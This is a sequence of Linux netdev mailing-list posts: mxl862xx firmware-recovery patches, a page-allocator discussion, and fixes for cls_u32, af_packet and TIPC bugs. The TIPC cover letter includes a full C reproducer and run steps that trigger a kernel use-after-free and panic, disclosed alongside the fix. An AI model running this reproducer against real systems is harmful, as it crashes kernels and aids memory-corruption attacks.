#include "mxl862xx-api.h"
#include "mxl862xx-cmd.h"
+#include "mxl862xx-fw.h"
#include "mxl862xx-host.h"
#include "mxl862xx-phylink.h"
@@ -2086,6 +2087,8 @@ static const struct dsa_switch_ops mxl862xx_switch_ops = {
.get_pause_stats = mxl862xx_get_pause_stats,
.get_rmon_stats = mxl862xx_get_rmon_stats,
.get_stats64 = mxl862xx_get_stats64,
+ .devlink_info_get = mxl862xx_devlink_info_get,
+ .devlink_flash_update = mxl862xx_devlink_flash_update,
};
static int mxl862xx_probe(struct mdio_device *mdiodev)
@@ -2191,8 +2194,8 @@ static void mxl862xx_shutdown(struct mdio_device *mdiodev)
}
static const struct of_device_id mxl862xx_of_match[] = {
- { .compatible = "maxlinear,mxl86282" },
- { .compatible = "maxlinear,mxl86252" },
+ { .compatible = "maxlinear,mxl86282", .data = "MaxLinear MxL86282" },
+ { .compatible = "maxlinear,mxl86252", .data = "MaxLinear MxL86252" },
{ /* sentinel */ }
};
MODULE_DEVICE_TABLE(of, mxl862xx_of_match);
diff --git a/drivers/net/dsa/mxl862xx/mxl862xx.h b/drivers/net/dsa/mxl862xx/mxl862xx.h
index 432a5f3f2e08..64d91ad51936 100644
--- a/drivers/net/dsa/mxl862xx/mxl862xx.h
+++ b/drivers/net/dsa/mxl862xx/mxl862xx.h
@@ -319,6 +319,10 @@ struct mxl862xx_fw_version {
* @evlan_ingress_size: per-port ingress Extended VLAN block size
* @evlan_egress_size: per-port egress Extended VLAN block size
* @vf_block_size: per-port VLAN Filter block size
+ * @block_host: reject firmware API commands (except FW_UPDATE)
+ * during a firmware flash
+ * @skip_teardown: discard firmware API commands during the teardown
+ * triggered by the post-flash reprobe
* @stats_work: periodic work item that polls RMON hardware counters
* and accumulates them into 64-bit per-port stats
*/
@@ -337,6 +341,8 @@ struct mxl862xx_priv {
u16 evlan_ingress_size;
u16 evlan_egress_size;
u16 vf_block_size;
+ bool block_host;
+ bool skip_teardown;
struct delayed_work stats_work;
};
--
2.55.0
^ permalink raw reply related
* [PATCH net-next v3 4/4] net: dsa: mxl862xx: recover switch stuck in MCUboot rescue mode
From: Daniel Golle @ 2026-07-20 3:15 UTC (permalink / raw)
To: Daniel Golle, Andrew Lunn, Vladimir Oltean, David S. Miller,
Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman,
linux-kernel, netdev
In-Reply-To: <cover.1784513694.git.daniel@makrotopia.org>
When the application firmware image is broken (e.g. after an
interrupted flash update) or the sticky rescue flag is set, the
switch stays in MCUboot which only exposes the clause-22 SMDIO
interface used for firmware download. The clause-45 MMD API never
becomes ready, probe fails with -ETIMEDOUT and the user is left
without any way to install a working firmware image other than
physical access to the UART console of the switch.
Detect this state during setup by reading the SB PDI STAT register
via SMDIO: MCUboot signals readiness for a firmware download with
the ready magic. Probe this register first to avoid pointlessly
waiting for the MMD API on a switch sitting in rescue mode, and
probe it again after a ready timeout to catch firmware which was
still alive enough to accept the reset command but then fell into
rescue mode due to a broken image on flash.
In rescue mode, complete the switch registration without any user
interfaces so that devlink is available: user ports fail port_setup
with -ENODEV which makes the DSA core re-register them as unused
ports, while shared and unused ports succeed as their setup must not
fail for the tree to register. The CPU port works without firmware
access since it uses a fixed link and the phylink MAC ops do not
touch the hardware; mac_select_pcs returns no PCS in rescue mode.
Firmware API commands fail fast with -ENODEV instead of running
into the MDIO poll timeout, and the port enable/disable and STP
callbacks invoked by the DSA core during registration and teardown
become no-ops.
devlink dev info reports the running firmware version as the
canonical null version "0.0.0" in rescue mode. An operational switch
can never report this version since the major version of any
released firmware is non-zero. Version-comparing update tools like
fwupd thus treat every available release as an upgrade and offer to
install it, so the switch can be recovered through the regular
update flow. devlink flash update skips the FW_UPDATE command in
rescue mode as MCUboot is already waiting for a download, and
proceeds directly with the SB PDI handshake. After a successful
transfer the usual reprobe cycle restores normal operation; after a
failed one rescue mode is detected again and the user can simply
retry.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
---
v3:
- report the canonical null version "0.0.0" instead of
"mcuboot-rescue" so that version-comparing update tools like
fwupd offer any available release as an upgrade for recovery
- check the rescue_mode flag under the MDIO bus lock, following
the block_host/skip_teardown change in the previous patch
v2: new patch, allowing recovery from a failed or interrupted update
without having to use a special recovery OS image (Andrew Lunn)
drivers/net/dsa/mxl862xx/mxl862xx-fw.c | 49 ++++++++++++++++-----
drivers/net/dsa/mxl862xx/mxl862xx-fw.h | 3 ++
drivers/net/dsa/mxl862xx/mxl862xx-host.c | 5 +++
drivers/net/dsa/mxl862xx/mxl862xx-phylink.c | 2 +
drivers/net/dsa/mxl862xx/mxl862xx.c | 38 ++++++++++++++--
drivers/net/dsa/mxl862xx/mxl862xx.h | 3 ++
6 files changed, 87 insertions(+), 13 deletions(-)
diff --git a/drivers/net/dsa/mxl862xx/mxl862xx-fw.c b/drivers/net/dsa/mxl862xx/mxl862xx-fw.c
index 65c65d96518d..6a1de247c2f0 100644
--- a/drivers/net/dsa/mxl862xx/mxl862xx-fw.c
+++ b/drivers/net/dsa/mxl862xx/mxl862xx-fw.c
@@ -93,6 +93,24 @@ static void mxl862xx_flash_notify(struct devlink *dl, const char *status,
devlink_flash_update_status_notify(dl, status, NULL, done, total);
}
+/**
+ * mxl862xx_rescue_mode_detect - check whether the switch sits in MCUboot
+ * @priv: driver private data
+ *
+ * MCUboot signals readiness for a firmware download with the SB PDI
+ * ready magic; only the clause-22 SMDIO interface works in this state.
+ *
+ * Return: true if MCUboot is waiting for a firmware download.
+ */
+bool mxl862xx_rescue_mode_detect(struct mxl862xx_priv *priv)
+{
+ int ret;
+
+ ret = mxl862xx_smdio_read(priv, MXL862XX_SB_PDI_STAT);
+
+ return ret == MXL862XX_SB_PDI_READY;
+}
+
/* device_reprobe() -> remove() frees priv while the work runs, so
* the work struct cannot live in mxl862xx_priv.
*/
@@ -188,13 +206,15 @@ static int mxl862xx_flash_firmware(struct mxl862xx_priv *priv,
int ret, i;
/* Step 1: reboot the firmware into MCUboot rescue mode */
- ret = mxl862xx_api_wrap(priv, SYS_MISC_FW_UPDATE, NULL, 0,
- false, false);
- if (ret) {
- dev_err(&priv->mdiodev->dev,
- "flash: FW_UPDATE command failed: %pe\n",
- ERR_PTR(ret));
- return ret;
+ if (!priv->rescue_mode) {
+ ret = mxl862xx_api_wrap(priv, SYS_MISC_FW_UPDATE, NULL, 0,
+ false, false);
+ if (ret) {
+ dev_err(&priv->mdiodev->dev,
+ "flash: FW_UPDATE command failed: %pe\n",
+ ERR_PTR(ret));
+ return ret;
+ }
}
/* Failures from here on must go through end_magic so MCUboot
@@ -356,6 +376,10 @@ int mxl862xx_devlink_info_get(struct dsa_switch *ds,
return ret;
}
+ /* canonical null version: no operational firmware on the switch */
+ if (priv->rescue_mode)
+ return devlink_info_version_running_put(req, "fw", "0.0.0");
+
snprintf(ver_str, sizeof(ver_str), "%u.%u.%u",
priv->fw_version.major, priv->fw_version.minor,
priv->fw_version.revision);
@@ -401,9 +425,13 @@ int mxl862xx_devlink_flash_update(struct dsa_switch *ds,
reprobe->dev = get_device(ds->dev);
INIT_DELAYED_WORK(&reprobe->dwork, mxl862xx_reprobe_work_fn);
- dev_info(ds->dev, "flash: running firmware %u.%u.%u\n",
- priv->fw_version.major, priv->fw_version.minor,
- priv->fw_version.revision);
+ if (priv->rescue_mode)
+ dev_info(ds->dev,
+ "flash: recovering switch from MCUboot rescue mode\n");
+ else
+ dev_info(ds->dev, "flash: running firmware %u.%u.%u\n",
+ priv->fw_version.major, priv->fw_version.minor,
+ priv->fw_version.revision);
/* Close ports while the firmware is still alive so the DSA
* core's MDB/FDB tracking is drained, and detach user ports
@@ -437,6 +465,7 @@ int mxl862xx_devlink_flash_update(struct dsa_switch *ds,
if (!ret) {
/* lift the block to query the new firmware version */
priv->block_host = false;
+ priv->rescue_mode = false;
memset(&ver, 0, sizeof(ver));
if (!MXL862XX_API_READ_QUIET(priv, SYS_MISC_FW_VERSION, ver) &&
ver.iv_major)
diff --git a/drivers/net/dsa/mxl862xx/mxl862xx-fw.h b/drivers/net/dsa/mxl862xx/mxl862xx-fw.h
index a1b60fbacebf..57c2000cfee5 100644
--- a/drivers/net/dsa/mxl862xx/mxl862xx-fw.h
+++ b/drivers/net/dsa/mxl862xx/mxl862xx-fw.h
@@ -5,6 +5,9 @@
#include <net/dsa.h>
+struct mxl862xx_priv;
+
+bool mxl862xx_rescue_mode_detect(struct mxl862xx_priv *priv);
int mxl862xx_devlink_info_get(struct dsa_switch *ds,
struct devlink_info_req *req,
struct netlink_ext_ack *extack);
diff --git a/drivers/net/dsa/mxl862xx/mxl862xx-host.c b/drivers/net/dsa/mxl862xx/mxl862xx-host.c
index 5ecb19f52658..80565de710d3 100644
--- a/drivers/net/dsa/mxl862xx/mxl862xx-host.c
+++ b/drivers/net/dsa/mxl862xx/mxl862xx-host.c
@@ -346,6 +346,11 @@ int mxl862xx_api_wrap(struct mxl862xx_priv *priv, u16 cmd, void *_data,
goto out;
}
+ if (priv->rescue_mode) {
+ ret = -ENODEV;
+ goto out;
+ }
+
if (priv->block_host && cmd != SYS_MISC_FW_UPDATE) {
ret = -EBUSY;
goto out;
diff --git a/drivers/net/dsa/mxl862xx/mxl862xx-phylink.c b/drivers/net/dsa/mxl862xx/mxl862xx-phylink.c
index b689652aa9b9..a5b6940b552e 100644
--- a/drivers/net/dsa/mxl862xx/mxl862xx-phylink.c
+++ b/drivers/net/dsa/mxl862xx/mxl862xx-phylink.c
@@ -406,6 +406,8 @@ mxl862xx_phylink_mac_select_pcs(struct phylink_config *config,
switch (port) {
case 9 ... 16:
+ if (priv->rescue_mode)
+ return NULL;
if (!MXL862XX_FW_VER_MIN(priv, 1, 0, 84)) {
dev_warn_once(dp->ds->dev,
"SerDes PCS unsupported on old firmware.\n");
diff --git a/drivers/net/dsa/mxl862xx/mxl862xx.c b/drivers/net/dsa/mxl862xx/mxl862xx.c
index 4f3a9b311b52..265a83f4b371 100644
--- a/drivers/net/dsa/mxl862xx/mxl862xx.c
+++ b/drivers/net/dsa/mxl862xx/mxl862xx.c
@@ -629,9 +629,22 @@ static int mxl862xx_setup(struct dsa_switch *ds)
if (ret)
return ret;
- ret = mxl862xx_wait_ready(ds);
- if (ret)
- return ret;
+ priv->rescue_mode = mxl862xx_rescue_mode_detect(priv);
+ if (!priv->rescue_mode) {
+ ret = mxl862xx_wait_ready(ds);
+ if (ret) {
+ /* the reset may only now have triggered rescue mode */
+ priv->rescue_mode = mxl862xx_rescue_mode_detect(priv);
+ if (!priv->rescue_mode)
+ return ret;
+ }
+ }
+
+ if (priv->rescue_mode) {
+ dev_warn(ds->dev,
+ "switch stuck in MCUboot rescue mode, use devlink to flash new firmware\n");
+ return 0;
+ }
mutex_init(&priv->serdes_lock);
for (i = 0; i < ARRAY_SIZE(priv->serdes_ports); i++)
@@ -716,11 +729,21 @@ static int mxl862xx_port_state(struct dsa_switch *ds, int port, bool enable)
static int mxl862xx_port_enable(struct dsa_switch *ds, int port,
struct phy_device *phydev)
{
+ struct mxl862xx_priv *priv = ds->priv;
+
+ if (priv->rescue_mode)
+ return 0;
+
return mxl862xx_port_state(ds, port, true);
}
static void mxl862xx_port_disable(struct dsa_switch *ds, int port)
{
+ struct mxl862xx_priv *priv = ds->priv;
+
+ if (priv->rescue_mode)
+ return;
+
if (mxl862xx_port_state(ds, port, false))
dev_err(ds->dev, "failed to disable port %d\n", port);
}
@@ -1338,6 +1361,12 @@ static int mxl862xx_port_setup(struct dsa_switch *ds, int port)
bool is_cpu_port = dsa_port_is_cpu(dp);
int ret;
+ /* DSA reinits failed user ports as unused; shared ports must
+ * succeed for the tree to register.
+ */
+ if (priv->rescue_mode)
+ return dsa_port_is_user(dp) ? -ENODEV : 0;
+
ret = mxl862xx_port_state(ds, port, false);
if (ret)
return ret;
@@ -1629,6 +1658,9 @@ static void mxl862xx_port_stp_state_set(struct dsa_switch *ds, int port,
struct mxl862xx_priv *priv = ds->priv;
int ret;
+ if (priv->rescue_mode)
+ return;
+
switch (state) {
case BR_STATE_DISABLED:
param.port_state = cpu_to_le32(MXL862XX_STP_PORT_STATE_DISABLE);
diff --git a/drivers/net/dsa/mxl862xx/mxl862xx.h b/drivers/net/dsa/mxl862xx/mxl862xx.h
index 64d91ad51936..5d21296561e3 100644
--- a/drivers/net/dsa/mxl862xx/mxl862xx.h
+++ b/drivers/net/dsa/mxl862xx/mxl862xx.h
@@ -323,6 +323,8 @@ struct mxl862xx_fw_version {
* during a firmware flash
* @skip_teardown: discard firmware API commands during the teardown
* triggered by the post-flash reprobe
+ * @rescue_mode: switch is stuck in MCUboot; firmware API commands
+ * fail fast, only clause-22 SMDIO works
* @stats_work: periodic work item that polls RMON hardware counters
* and accumulates them into 64-bit per-port stats
*/
@@ -343,6 +345,7 @@ struct mxl862xx_priv {
u16 vf_block_size;
bool block_host;
bool skip_teardown;
+ bool rescue_mode;
struct delayed_work stats_work;
};
--
2.55.0
^ permalink raw reply related
* Re: [PATCH net-next v5] selftests/net/openvswitch: add ICMPv6 echo type match test
From: Minxi Hou @ 2026-07-20 3:24 UTC (permalink / raw)
To: netdev; +Cc: aconole, echaudro, i.maximets, kuba
In-Reply-To: <20260709120541.3556748-1-houminxi@gmail.com>
Gentle ping on this patch. It's been about 10 days without review
comments. Please let me know if there are any issues or if a respin
is needed.
Thanks,
Minxi
^ permalink raw reply
* Re: [PATCH v10] mm/page_alloc: boost watermarks on atomic allocation failure
From: Jing Wu @ 2026-07-20 3:38 UTC (permalink / raw)
To: Vlastimil Babka
Cc: Qiliang Yuan, Andrew Morton, David Hildenbrand, Lorenzo Stoakes,
Liam R. Howlett, Mike Rapoport, Suren Baghdasaryan, Michal Hocko,
Axel Rasmussen, Yuanchu Xie, Wei Xu, Brendan Jackman,
Johannes Weiner, Zi Yan, Lance Yang, SeongJae Park,
Matthew Wilcox, linux-mm, linux-kernel, netdev
In-Reply-To: <e011c6a8-cda5-42ce-9d42-b23d1c81b26b@suse.cz>
From: Qiliang Yuan <realwujing@gmail.com>
Hi Vlastimil,
Thanks for the review, and understood on taking the Ack back - the
v10 changes were substantial, and I won't send v11 just to drop the
tag. I'm folding it into an actual update instead. Let me answer your
three points directly.
1) The Ack
Yours is dropped. I've kept SeongJae's for now since he hasn't said
anything to the contrary, but I'll understand if he'd rather it not
carry over either, given v11 also fixes a debounce race in the atomic
path that nobody, including me, had caught in nine prior rounds:
last_boost_jiffies was checked and updated outside zone->lock, so
concurrent CPUs (e.g. a multi-queue NIC spreading GFP_ATOMIC
allocations across several softirqs) could all pass the
once-per-second check for the same zone before either updated the
timestamp.
2) Real-world benefit and side effects
I don't have a clean before/after deployment number for this exact
patch yet, and I want to be upfront about that. What I do have: a
production host running a downstream 4.19 kernel logged 144 order-0
GFP_ATOMIC failures over a 4h15m window, every single one through the
same NIC driver RX softirq path (bnxt_rx_pages -> net_rx_action ->
__alloc_pages_slowpath), across several unrelated network-facing
services on the box. That's evidence the failure mode is real and
ongoing - it is not evidence that this patch fixes it, and I don't
want to conflate the two.
On side effects: the mechanism is bounded by construction, not just by
intent. Each zone accepts at most one boost per second (the debounce
timer), and watermark_boost is clamped to _watermark[WMARK_HIGH] / 10
per zone, independent of how many zones get boosted in a single
slowpath call. Worst case this adds one extra kswapd wakeup per zone
per second, and the ceiling on any single zone is 10% of its own high
watermark - it can't run away or starve unrelated allocations past
that. I've put this bound into the commit message itself so it isn't
only visible in this thread.
I know a bound isn't a measurement. If it would actually help, I can
try to build a synthetic reproducer (fault-injected GFP_ATOMIC
pressure under load) and come back with before/after numbers instead
of leaving this as theory - let me know if that's the kind of
evidence that would move this forward for you.
3) netdev
Cc'd this time, along with Matthew Wilcox, who asked for the same
thing on v1 and was never followed up on. Sorry that took ten
versions.
Thanks for staying on this thread.
Qiliang
^ permalink raw reply
* [PATCH] net/sched: cls_u32: validate offshift to prevent shift-out-of-bounds
From: Cen Zhang (Microsoft) @ 2026-07-20 3:45 UTC (permalink / raw)
To: jhs, jiri, davem, edumazet, kuba, pabeni
Cc: horms, netdev, linux-kernel, AutonomousCodeSecurity, tgopinath,
kys, blbllhy
u32_change() copies the user-provided tc_u32_sel.offshift (unsigned char,
0-255) into the kernel knode object without bounds validation. When a
packet later hits u32_classify() with TC_U32_VAROFFSET set, it evaluates
`ntohs(offmask & *data) >> offshift` where the left operand is a 16-bit
value promoted to a 32-bit int. Any offshift >= 32 is undefined behavior
per C11 §6.5.7, triggerable by an unprivileged user via user/network
namespaces.
UBSAN: shift-out-of-bounds in net/sched/cls_u32.c:236:43
shift exponent 32 is too large for 32-bit type int
Fix this by rejecting offshift >= 16 during filter creation in
u32_change().
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Reported-by: AutonomousCodeSecurity@microsoft.com
Signed-off-by: Cen Zhang (Microsoft) <blbllhy@gmail.com>
---
net/sched/cls_u32.c | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/net/sched/cls_u32.c b/net/sched/cls_u32.c
index 8f30cc82181d..e7a9a49353f9 100644
--- a/net/sched/cls_u32.c
+++ b/net/sched/cls_u32.c
@@ -1107,6 +1107,13 @@ static int u32_change(struct net *net, struct sk_buff *in_skb,
goto erridr;
}
+ if (s->flags & TC_U32_VAROFFSET && s->offshift >= 16) {
+ NL_SET_ERR_MSG_MOD(extack,
+ "offshift must be less than 16");
+ err = -EINVAL;
+ goto erridr;
+ }
+
n = kzalloc_flex(*n, sel.keys, s->nkeys);
if (n == NULL) {
err = -ENOBUFS;
--
2.53.0
^ permalink raw reply related
* [PATCH net 1/1] packet: synchronize pressure clearing with ring reconfiguration
From: Ren Wei @ 2026-07-20 5:16 UTC (permalink / raw)
To: netdev
Cc: willemdebruijn.kernel, davem, edumazet, pabeni, horms, vega,
xizh2024, enjou1224z
In-Reply-To: <cover.1784454541.git.xizh2024@lzu.edu.cn>
From: Zihan Xi <xizh2024@lzu.edu.cn>
packet_set_ring() updates the RX ring state under sk_receive_queue.lock,
but publishes the tpacket receive mode through po->prot_hook.func after
releasing that lock. packet_poll() and packet_recvmsg() can therefore run
the pressure clearing path after the ring has been cleared while still
seeing tpacket_rcv, causing __packet_rcv_has_room() to dereference stale
or NULL ring storage.
Serialize pressure clearing with RX ring reconfiguration and update the
receive hook while holding the same queue lock when changing the RX ring.
This keeps the receive hook decision consistent with the ring state used
by the tpacket room checks.
Fixes: 2ccdbaa6d55b ("packet: rollover lock contention avoidance")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <xizh2024@lzu.edu.cn>
Reviewed-by: Ren Wei <enjou1224z@gmail.com>
---
net/packet/af_packet.c | 18 ++++++++++++++----
1 file changed, 14 insertions(+), 4 deletions(-)
diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c
index 8e6f3a734ba0..b369f44b4065 100644
--- a/net/packet/af_packet.c
+++ b/net/packet/af_packet.c
@@ -1315,13 +1315,22 @@ static int packet_rcv_has_room(struct packet_sock *po, struct sk_buff *skb)
return ret;
}
-static void packet_rcv_try_clear_pressure(struct packet_sock *po)
+static void __packet_rcv_try_clear_pressure(struct packet_sock *po)
{
if (packet_sock_flag(po, PACKET_SOCK_PRESSURE) &&
__packet_rcv_has_room(po, NULL) == ROOM_NORMAL)
packet_sock_flag_set(po, PACKET_SOCK_PRESSURE, false);
}
+static void packet_rcv_try_clear_pressure(struct packet_sock *po)
+{
+ struct sock *sk = &po->sk;
+
+ spin_lock_bh(&sk->sk_receive_queue.lock);
+ __packet_rcv_try_clear_pressure(po);
+ spin_unlock_bh(&sk->sk_receive_queue.lock);
+}
+
static void packet_sock_destruct(struct sock *sk)
{
skb_queue_purge(&sk->sk_error_queue);
@@ -4304,7 +4313,7 @@ static __poll_t packet_poll(struct file *file, struct socket *sock,
TP_STATUS_KERNEL))
mask |= EPOLLIN | EPOLLRDNORM;
}
- packet_rcv_try_clear_pressure(po);
+ __packet_rcv_try_clear_pressure(po);
spin_unlock_bh(&sk->sk_receive_queue.lock);
spin_lock_bh(&sk->sk_write_queue.lock);
if (po->tx_ring.pg_vec) {
@@ -4544,14 +4553,15 @@ static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
rb->frame_max = (req->tp_frame_nr - 1);
rb->head = 0;
rb->frame_size = req->tp_frame_size;
+ if (!tx_ring)
+ po->prot_hook.func = po->rx_ring.pg_vec ?
+ tpacket_rcv : packet_rcv;
spin_unlock_bh(&rb_queue->lock);
swap(rb->pg_vec_order, order);
swap(rb->pg_vec_len, req->tp_block_nr);
rb->pg_vec_pages = req->tp_block_size/PAGE_SIZE;
- po->prot_hook.func = (po->rx_ring.pg_vec) ?
- tpacket_rcv : packet_rcv;
skb_queue_purge(rb_queue);
if (atomic_long_read(&po->mapped))
pr_err("packet_mmap: vma is busy: %ld\n",
--
2.43.0
^ permalink raw reply related
* Re: [PATCH net-next 00/15] net/mlx5e: PSP cleanups and improvements
From: Tariq Toukan @ 2026-07-20 6:05 UTC (permalink / raw)
To: Tariq Toukan, Andrew Lunn, David S. Miller, Eric Dumazet,
Jakub Kicinski, netdev, Paolo Abeni
Cc: Aleksandr Loktionov, Boris Pismenny, Chris Mi, Cosmin Ratiu,
Daniel Zahka, Dragos Tatulea, Gal Pressman, Jacob Keller,
Jianbo Liu, Lama Kayal, Leon Romanovsky, linux-kernel, linux-rdma,
Mark Bloch, Raed Salem, Rahul Rameshbabu, Saeed Mahameed,
Stanislav Fomichev, Stanislav Fomichev, Willem de Bruijn
In-Reply-To: <20260707130858.969928-1-tariqt@nvidia.com>
On 07/07/2026 16:08, Tariq Toukan wrote:
> Hi,
>
> This series by Cosmin refactors mlx5 PSP support in preparation for
> HW-GRO support.
> There are almost no functionality changes in all but the last two
> patches, which address a long-standing TODO in mlx5e_psp_set_config().
>
> Regards,
> Tariq
>
> Cosmin Ratiu (15):
> net/mlx5e: psp: Rename the saved psp_dev to 'psd'
> net/mlx5e: psp: Remove PSP steering mutexes
> net/mlx5e: psp: Remove unneeded ref counting for PSP steering
> net/mlx5e: psp: Merge rx_err rule add/delete with ft create/delete
> net/mlx5e: psp: Use helpers for steering object manipulation
> net/mlx5e: psp: Factor out drop rule creation code
> net/mlx5e: psp: Remove unused PSP syndrome copy action
> net/mlx5e: psp: Rename and consolidate steering functions
> net/mlx5e: psp: Adjust rx_check FT size and use a drop_group
> net/mlx5e: psp: Add an RX steering table
> net/mlx5e: psp: Use a single rx_check table
> net/mlx5e: psp: Flatten steering structures
> net/mlx5e: psp: Make PSP steering config dynamic
> net/mlx5e: Return errors from profile->enable
> net/mlx5e: psp: Report PSP dev registration errors
>
> drivers/net/ethernet/mellanox/mlx5/core/en.h | 2 +-
> .../net/ethernet/mellanox/mlx5/core/en/fs.h | 7 +-
> .../mellanox/mlx5/core/en_accel/en_accel.h | 19 +-
> .../mellanox/mlx5/core/en_accel/psp.c | 1007 ++++++++---------
> .../mellanox/mlx5/core/en_accel/psp.h | 18 +-
> .../mellanox/mlx5/core/en_accel/psp_rxtx.c | 13 +-
> .../mellanox/mlx5/core/en_accel/psp_rxtx.h | 3 +-
> .../net/ethernet/mellanox/mlx5/core/en_main.c | 23 +-
> .../net/ethernet/mellanox/mlx5/core/en_rep.c | 8 +-
> 9 files changed, 516 insertions(+), 584 deletions(-)
>
>
> base-commit: 31816fc5d9acf8cdf226cdd0dc296e8cf15cc033
Hi,
It's been in-flight (still marked New) for ~2 weeks, and is blocking our
queue...
I don't see it tracked in Suie anymore...
All comments in the thread were answered, no changes required for now.
How do we progress with this series?
^ permalink raw reply
* [PATCH net 0/1] tipc: avoid UAF in trace queue dumps
From: Ren Wei @ 2026-07-20 6:45 UTC (permalink / raw)
To: netdev, tipc-discussion
Cc: jmaloy, davem, edumazet, pabeni, horms, ying.xue, tuong.t.lien,
vega, xizh2024, enjou1224z
From: Zihan Xi <xizh2024@lzu.edu.cn>
Hi Linux kernel maintainers,
We found and validated a bug in net/tipc/trace.c and net/tipc/socket.c.
The bug is reachable by a local process that can create TIPC sockets and
enable TIPC tracepoints. We've tested the fix with the reproducer below,
and it should not affect any other functionality.
This series contains one patch:
1/1 tipc: stop socket trace dumps from dereferencing live skb queues
We provide bug details, reproducer steps, and a crash log below.
---- details below ----
Bug details:
tipc_sk_dump() is used by TIPC socket tracepoints, including the poll trace
path. With TIPC_DUMP_ALL it asks tipc_list_dump() to print the socket write
and receive queues, and it also prints the socket backlog head and tail by
passing sk->sk_backlog.head/tail directly to tipc_skb_dump().
These are live socket queues. The trace helper does not have a reliable skb
lifetime guarantee for every queue member it inspects: TIPC socket queues are
serialized by socket or other outer locks, and not all lists use the embedded
sk_buff_head lock as the mutator lock. A concurrent dequeue/free can
therefore leave the trace helper dereferencing a stale skb pointer.
The patch keeps the tracepoint ABI and buffer sizing intact, but makes the
socket trace dump report only the write queue, receive queue, and backlog
lengths. This removes the unsafe skb dereferences from the trace path.
Reproducer:
Guest:
gcc -O2 -pthread -Wall /root/tipc_poc.c -o /root/tipc_poc
mount -t tracefs nodev /sys/kernel/tracing 2>/dev/null || true
tipc node set identity 1.1.1
timeout 30s /root/tipc_poc
Host:
make O=/var/cache/linux-patch/tipc-list-dump-build-ext4 -j$(nproc) bzImage
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/tipc.h>
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define TRACE "/sys/kernel/tracing"
#define TIPC_TYPE 5555
static volatile int stop_flag;
static int srv_fd, cli_fd;
static void write_file(const char *path, const char *s)
{
int fd = open(path, O_WRONLY | O_TRUNC);
if (fd < 0) { perror(path); exit(1); }
if (write(fd, s, strlen(s)) < 0) { perror("write"); exit(1); }
close(fd);
}
static void enable_trace(void)
{
char path[256];
write_file(TRACE "/tracing_on", "0\n");
write_file(TRACE "/trace", "");
const char *evs[] = {"tipc_sk_poll", "tipc_sk_filter_rcv", "tipc_sk_overlimit1", "tipc_sk_overlimit2"};
for (int i = 0; i < 4; i++) {
snprintf(path, sizeof(path), TRACE "/events/tipc/%s/enable", evs[i]);
write_file(path, "1\n");
}
write_file(TRACE "/tracing_on", "1\n");
}
static void *sender(void *arg)
{
char payload[4096];
long cnt = 0;
memset(payload, 'A', sizeof(payload));
struct sockaddr_tipc dst = {0};
dst.family = AF_TIPC;
dst.addrtype = TIPC_SERVICE_ADDR;
dst.scope = TIPC_CLUSTER_SCOPE;
dst.addr.name.name.type = TIPC_TYPE;
dst.addr.name.name.instance = 1;
dst.addr.name.domain = 0;
while (!stop_flag) {
if (sendto(cli_fd, payload, sizeof(payload), 0, (struct sockaddr *)&dst, sizeof(dst)) >= 0)
cnt++;
}
printf("sent %ld\n", cnt);
return NULL;
}
static void *poller(void *arg)
{
struct pollfd pfd = {.fd = srv_fd, .events = POLLIN};
long cnt = 0;
while (!stop_flag) {
poll(&pfd, 1, 0);
cnt++;
}
printf("poll %ld\n", cnt);
return NULL;
}
static void *receiver(void *arg)
{
char buf[4096];
long cnt = 0;
fcntl(srv_fd, F_SETFL, fcntl(srv_fd, F_GETFL) | O_NONBLOCK);
while (!stop_flag) {
ssize_t n = recv(srv_fd, buf, sizeof(buf), 0);
if (n > 0) cnt++;
else if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK) {}
}
printf("recv %ld\n", cnt);
return NULL;
}
int main(void)
{
enable_trace();
srv_fd = socket(AF_TIPC, SOCK_RDM, 0);
if (srv_fd < 0) { perror("socket srv"); return 1; }
int rcvbuf = 1 << 20;
setsockopt(srv_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf));
struct sockaddr_tipc srv = {0};
srv.family = AF_TIPC;
srv.addrtype = TIPC_SERVICE_RANGE;
srv.scope = TIPC_CLUSTER_SCOPE;
srv.addr.nameseq.type = TIPC_TYPE;
srv.addr.nameseq.lower = 1;
srv.addr.nameseq.upper = 1;
if (bind(srv_fd, (struct sockaddr *)&srv, sizeof(srv)) < 0) { perror("bind"); return 1; }
struct sockaddr_tipc name = {0};
socklen_t namelen = sizeof(name);
if (getsockname(srv_fd, (struct sockaddr *)&name, &namelen) < 0) { perror("getsockname"); return 1; }
unsigned int portid = name.addr.id.ref;
printf("server portid %u\n", portid);
char filter[128];
snprintf(filter, sizeof(filter), "%u 0 0 0 0\n", portid);
write_file("/proc/sys/net/tipc/sk_filter", filter);
cli_fd = socket(AF_TIPC, SOCK_RDM, 0);
if (cli_fd < 0) { perror("socket cli"); return 1; }
int imp = TIPC_CRITICAL_IMPORTANCE;
setsockopt(cli_fd, SOL_TIPC, TIPC_IMPORTANCE, &imp, sizeof(imp));
pthread_t th[3];
pthread_create(&th[0], NULL, sender, NULL);
pthread_create(&th[1], NULL, poller, NULL);
pthread_create(&th[2], NULL, receiver, NULL);
sleep(5);
stop_flag = 1;
for (int i = 0; i < 3; i++) pthread_join(th[i], NULL);
system("tail -80 /sys/kernel/tracing/trace");
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 282.625215][ T9764] page_owner tracks the page as allocated
[ 282.626124][ T9764] page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 9763, tgid 9760 (python3), ts 282622559122, free_ts 280322580853
[ 282.628916][ T9764] page last free pid 9750 tgid 9750 stack trace:
[ 282.630090][ T9764] Kernel panic - not syncing: KASAN: panic_on_warn set ...
